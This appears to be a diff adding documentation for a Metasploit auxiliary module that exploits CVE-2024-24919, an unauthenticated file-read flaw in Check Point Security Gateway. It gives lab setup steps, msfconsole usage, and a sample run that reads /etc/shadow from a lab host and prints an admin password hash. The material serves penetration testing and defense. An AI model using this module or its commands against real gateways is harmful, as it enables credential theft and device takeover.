|
| 1 | +## Vulnerable Application |
| 2 | +This module leverages an unauthenticated arbitrary root file read vulnerability for |
| 3 | +Check Point Security Gateway appliances. When the IPSec VPN or Mobile Access blades |
| 4 | +are enabled on affected devices, traversal payloads can be used to read any files on |
| 5 | +the local file system. Password hashes read from disk may be cracked, potentially |
| 6 | +resulting in administrator-level access to the target device. This vulnerability is |
| 7 | +tracked as CVE-2024-24919. |
| 8 | + |
| 9 | +## Options |
| 10 | + |
| 11 | +### STORE_LOOT |
| 12 | +Whether the read file's contents should be outputted to the console or stored as loot (default: false). |
| 13 | + |
| 14 | +### TARGETFILE |
| 15 | +The target file to read (default: /etc/shadow). This should be a full Linux file path. Files containing binary data may |
| 16 | +not be read accurately. |
| 17 | + |
| 18 | +## Testing |
| 19 | +To set up a test environment: |
| 20 | +1. Download an affected version of Check Point Security Gateway (Such as Check_Point_R81.20_T631.iso, SHA1: |
| 21 | +42e25f45ab6b1694a97f76ca363d58040802e6d6). |
| 22 | +1. Install the ISO within a virtual machine. |
| 23 | +1. Browse to the administrator web dashboard on port 443 and complete the first-time setup tasks. |
| 24 | +1. On a Windows system, download and install a copy of Check Point SmartConsole, then use it to authenticate to Security Gateway. |
| 25 | +1. In SmartConsole, enable and configure the vulnerable Mobile Access or IPSec VPN blades. These instructions focus on Mobile Access: |
| 26 | + 1. Open the Gateway Properties: |
| 27 | + 1. Navigate to Gateways & Servers in the left-hand menu. |
| 28 | + 1. Select the gateway you want to configure. |
| 29 | + 1. Right-click on the gateway and select Edit. |
| 30 | + 1. Enable Mobile Access: |
| 31 | + 1. In the General Properties tab, under Network Security, check the box for Mobile Access. |
| 32 | + 1. Click on Mobile Access in the left-hand menu of the gateway properties window to access the Mobile Access settings. |
| 33 | + 1. Configure Mobile Access: |
| 34 | + 1. Set up the authentication methods under Authentication (e.g., LDAP, RADIUS, etc.). |
| 35 | + 1. Configure the Portal Settings, specifying the URL for the Mobile Access Portal. |
| 36 | + 1. Under Applications, define which applications and resources will be accessible via the Mobile Access portal. |
| 37 | + 1. Click OK to close the properties window. |
| 38 | +1. Publish and push the configuration changes to the device. |
| 39 | + 1. In SmartConsole, after completing your configuration, click on the Publish button at the top right corner of the |
| 40 | + SmartConsole window. This will save your changes to the management database. |
| 41 | + 1. After publishing the changes, click on the Install Policy button located at the top of the SmartConsole window. |
| 42 | + 1. In the Install Policy window, select the policy package you want to install. This is typically your main security policy package. |
| 43 | + 1. Choose the gateways on which you want to install the policy. Make sure to select the gateway that you configured |
| 44 | + for Mobile Access and/or IPSec VPN. |
| 45 | + 1. Click Install to begin the installation process. Once this process completes the gateway should then be vulnerable to this module. |
| 46 | + |
| 47 | + |
| 48 | +## Verification Steps |
| 49 | +1. Start msfconsole |
| 50 | +2. `use auxiliary/gather/checkpoint_gateway_fileread_cve_2024_24919` |
| 51 | +3. `set RHOSTS <TARGET_IP_ADDRESS>` |
| 52 | +4. `set RPORT <TARGET_PORT>` |
| 53 | +5. `set TARGETFILE <TARGET_FILE_TO_READ>` |
| 54 | +6. `set STORE_LOOT false` if you want to display the target file on the console instead of storing it as loot. |
| 55 | +7. `run` |
| 56 | + |
| 57 | +## Scenarios |
| 58 | +### Check Point Security Gateway Linux |
| 59 | +``` |
| 60 | +msf6 auxiliary(gather/checkpoint_gateway_fileread_cve_2024_24919) > show options |
| 61 | +
|
| 62 | +Module options (auxiliary/gather/checkpoint_gateway_fileread_cve_2024_24919): |
| 63 | +
|
| 64 | + Name Current Setting Required Description |
| 65 | + ---- --------------- -------- ----------- |
| 66 | + Proxies no A proxy chain of format type:host:port[,type:host:port][...] |
| 67 | + RHOSTS yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html |
| 68 | + RPORT 443 yes The target port (TCP) |
| 69 | + SSL false no Negotiate SSL/TLS for outgoing connections |
| 70 | + STORE_LOOT false yes Store the target file as loot |
| 71 | + TARGETFILE /etc/shadow yes The target file to read. This should be a full Linux file path. Files containing binary data may not be read accurately |
| 72 | + TARGETURI / yes The URI path to Check Point Security Gateway |
| 73 | + VHOST no HTTP server virtual host |
| 74 | +
|
| 75 | +
|
| 76 | +View the full module info with the info, or info -d command. |
| 77 | +
|
| 78 | +msf6 auxiliary(gather/checkpoint_gateway_fileread_cve_2024_24919) > set RHOSTS 192.168.181.128 |
| 79 | +RHOSTS => 192.168.181.128 |
| 80 | +msf6 auxiliary(gather/checkpoint_gateway_fileread_cve_2024_24919) > set SSL true |
| 81 | +[!] Changing the SSL option's value may require changing RPORT! |
| 82 | +SSL => true |
| 83 | +msf6 auxiliary(gather/checkpoint_gateway_fileread_cve_2024_24919) > check |
| 84 | +[+] 192.168.181.128:443 - The target is vulnerable. Arbitrary file read successful! |
| 85 | +msf6 auxiliary(gather/checkpoint_gateway_fileread_cve_2024_24919) > run |
| 86 | +[*] Running module against 192.168.181.128 |
| 87 | +
|
| 88 | +[*] Running automatic check ("set AutoCheck false" to disable) |
| 89 | +[+] The target is vulnerable. Arbitrary file read successful! |
| 90 | +[+] File read succeeded! |
| 91 | +admin:$6$hHJHiZdC2kHPD5HQ$/0dtMC53GSaZpLA/MeChOvJNNE4i9qoKL57Dsl853wF/RRNzJJ6CO5/qBmzCM7KdEUmXanF3J8T50ppLh/Sf2/:14559:0:99999:8::: |
| 92 | +monitor:*:19872:0:99999:8::: |
| 93 | +root:*:19872:0:99999:7::: |
| 94 | +cp_routeevt:*:19872:0:99999:7::: |
| 95 | +nobody:*:19872:0:99999:7::: |
| 96 | +postfix:*:19872:0:99999:7::: |
| 97 | +rpm:!!:19872:0:99999:7::: |
| 98 | +shutdown:*:19872:0:99999:7::: |
| 99 | +pcap:!!:19872:0:99999:7::: |
| 100 | +halt:*:19872:0:99999:7::: |
| 101 | +cp_postgres:*:19872:0:99999:7::: |
| 102 | +cp_extensions:*:19872:0:99999:7::: |
| 103 | +cpep_user:*:19872:0:99999:7::: |
| 104 | +vcsa:!!:19872:0:99999:7::: |
| 105 | +_nonlocl:*:19872:0:99999:7::: |
| 106 | +sshd:*:19872:0:99999:7::: |
| 107 | +
|
| 108 | +[*] Auxiliary module execution completed |
| 109 | +``` |
0 commit comments